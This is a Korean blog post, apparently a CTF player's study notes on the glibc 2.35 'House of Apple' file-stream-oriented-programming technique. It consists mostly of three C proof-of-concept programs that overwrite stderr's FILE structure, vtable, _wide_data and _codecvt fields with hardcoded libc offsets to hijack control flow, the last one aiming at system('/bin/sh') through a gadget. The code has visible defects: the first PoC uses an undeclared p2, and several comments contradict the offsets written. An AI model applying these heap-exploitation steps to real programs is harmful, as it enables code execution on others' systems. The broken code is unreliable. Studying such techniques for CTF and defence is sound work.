제목처럼 glibc 2.27 일부 라이브러리 부터 생긴 IO_str_overflow, finish 등에서 callback 포인터를 없애서 FSOP 를 못하고 있었는데, 찾아보니 매우 다양한 시각으로 FILE 구조체를 접근하여 FSOP를 시도할 수 있다는 것을 알게되었다.
그 중 House of apple 이라는 녀석이 매우 매력적이였는데, 이는 잘만 FILE 구조체를 수정하면 한번의 수정만으로 (하나의 읽기 쓰기가 가능한 메모리 공간, 주소만 있으면 됨) 익스가 되기때문이다. --> 이에 대한 내용으로 제 26회 해킹캠프에서 포너에게 조금이나마 도움이 되기위해 발표했었기 때문에 이 기법에 대한 자세한 설명은 생략하도록 하겠다. (궁금한게 있는 사람은 댓글 달아주시면 보충 설명해주는 글을 포스팅 하겠습니다 ^^*)
아무튼 아래는 House of apple 이라는 기법(접근법) 을 공부하면서 정리한 자료 및 간단한 PoC 코드들이다. 물론 원본 자료를 많이 참고했다.
https://bbs.kanxue.com/thread-273418.htm
(원문이 중국어라 번역에 능숙하지 않다면 힘들 수 있다.)
간략하게 설명하면 File 구조체 안에 _wide_data 에 존재하는 vtable은 별다른 검증이 없기 때문에 이를 이용한 것이다.
(아래는 일반적인 fd-> vtable 에 존재하는 함수의 호출 과정이다)
첫번째 PoC코드
call “ _IO_wfile_overflow ”
위 함수를 불러 FSOP를 진행한 PoC 코드다.
//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor(char* i)
{
printf("\033[31m[!] Hacking Camp 26th Day 2!!\n%s", i);
_exit(0);
}
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80ed0;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2160c0;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags = 0x0");
*(size_t *)stderr2 = 0x21694869482020;
puts("[+] step 2: change stderr->vtable to _IO_wfile_jumps-0x18");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x48; //0x60
//*(fp + 0xa0) = A
puts("[+] step 3: set stderr->_wide_data = p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 4: set stderr->_wide_data->_IO_write_base = 0x0");
*(size_t *)(p1 + 0x18) = (size_t)0x0;
puts("[+] step 5: set stderr->_wide_data->_IO_buf_base = 0x0");
*(size_t *)(p1 + 0x30) = (size_t)0x0;
puts("[+] step 6: set stderr->_wide_data->_wide_vtable = p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;
puts("[+] step 7: put backdoor at fake _wide_vtable->doallocate");
*(size_t *)(p2 + 0x68) = (size_t)(&backdoor);
puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr); //call vtalbe-> sync 0x60
}
두번째 PoC코드
_codecvt_ 를 활용해 _IO_wfile_underflow 함수 호출 후__libio_codecvt_in 를 통해 FSOP를 진행하는 PoC 코드이다.
//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor()
{
printf("\033[31m[!] Hacking Camp 26th Day 2!!\n");
_exit(0);
}
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80ed0;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21a6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2160c0;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
*(size_t *)stderr2 = 0;
puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
*(size_t *)(stderr2 + 0x10) = (size_t)-1;
puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
puts("[+] step 4: set stderr->codecvt = p1");
*(size_t *)(stderr2 + 0x98) = (size_t)p1;
puts("[+] step 5: set stderr->codecvt->__cd_in.step = p2");
*(size_t *)p1 = (size_t)p2;
puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
*(size_t *)(p2 + 0x28) = (size_t)(&backdoor);
puts("[+] step 7: call fflush");
fflush(stderr);
}
최종적으로 _code_cvt 를 사용하여 DL_CALL_FCT 의 인자를 조정하여 익스하는 법이다. --> 이 방법은 잘만 사용하면 하나의 공간(파일 구조체 공간) 만으로 익스가 가능하다.
아래는 일반적인 참조 프로세스 이다.
그리고 다음은 하나의 공간 사용으로 익스하기 위한 참조 프로세스를 정리한 것이다.
PoC코드이다.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor(char * i)
{
printf("\033[31m[!] Hacking Camp 26th Day 2!!\n%s", i);
_exit(0);
}
void main(){
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
getchar();
size_t puts_addr = (size_t)&puts;
printf("1. puts_addr: %p \n", puts_addr);
size_t libc_base_addr = puts_addr - 0x80ed0;
printf("2. libc_base_addr: %p\n", libc_base_addr);
size_t system_addr = libc_base_addr + 0x50d60;
size_t lock = 0x21ba80 + libc_base_addr;
char *p1 = calloc(0x200, 1);
printf("1. p1_addr: %p \n", p1);
size_t gadget = 0x0000000000163830 + libc_base_addr;
//add rdi + 0x10 _ jmp rcx
*(size_t *)p1 = 0;
*(size_t *)(p1 + 0x10) = (size_t)(&backdoor);
*(size_t *)(p1 + 0x88) = (size_t)lock; //lock
size_t binsh = libc_base_addr + 0x1b3e9a;
*(size_t *)(p1 + 0x48) = (size_t)gadget; // rbp
*(size_t *)(p1 + 0x30) = (size_t)29400045130965551; //u64('bin/sh\x00')
*(size_t *)(p1 + 0x98) = (size_t)p1 + 0xb8; //__pad5
*(size_t *)(p1 + 0xa8) = 0x0;
*(size_t *)(p1 + 0xb0) = 0x0;
*(size_t *)(p1 + 0xb8) = (size_t)p1 + 0x20; //__pad5(codecvt) = _IO_write_base
*(size_t *)(p1 + 0xc0) = 0x0;
*(size_t *)(p1 + 0xc8) = 0x0;
*(size_t *)(p1 + 0xd0) = 0x0;
*(size_t *)(p1 + 0xa0) = (size_t)lock + 0x20;
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2160c0;
printf("3. _IO_file_jumps_addr: %p\n", _IO_wfile_jumps_addr);
*(size_t *)(p1 + 0xd8) = (size_t)_IO_wfile_jumps_addr - 0x60 + 0x20;
fflush(p1);
}
(*참조 codecvt --> DL_CALL_FCT 를 이용한 FSOP 에서 rdi 값을 정상적으로 전달하려면 다음과 같은 가젯이 하나 필요하다.
add rdi, 0x10 ; jmp rcx
이 가젯을 불러 올 수 있다면 system 함수 /bin/sh 인자와 함꼐 불러올 수 있다. )
이번 포스팅을 참고하여 많은 분들이 glibc 소스코드 분석을 해봤으면 하는 바람이 있다. (재밌기 떄문에.. ㅎㅎ)
모두 이해가 됐길 바라지만 방금 크롬 빌드 끝내고 작성하는 거라 졸리기 떄문에 여기서 마무리 하겠다.
자세한 설명이 필요하시면 부담없이 댓글 달아주시기 바랍니다.!
'Pwnable > Tech' 카테고리의 다른 글
poison_null_byte (2) | 2023.02.25 |
---|---|
house_of_spirit (0) | 2023.02.25 |
.init_array && .fini_array (2) | 2023.02.20 |
Tcache dup / glibc 2.26 (0) | 2023.02.18 |
_IO_FILE AAR (0) | 2023.02.18 |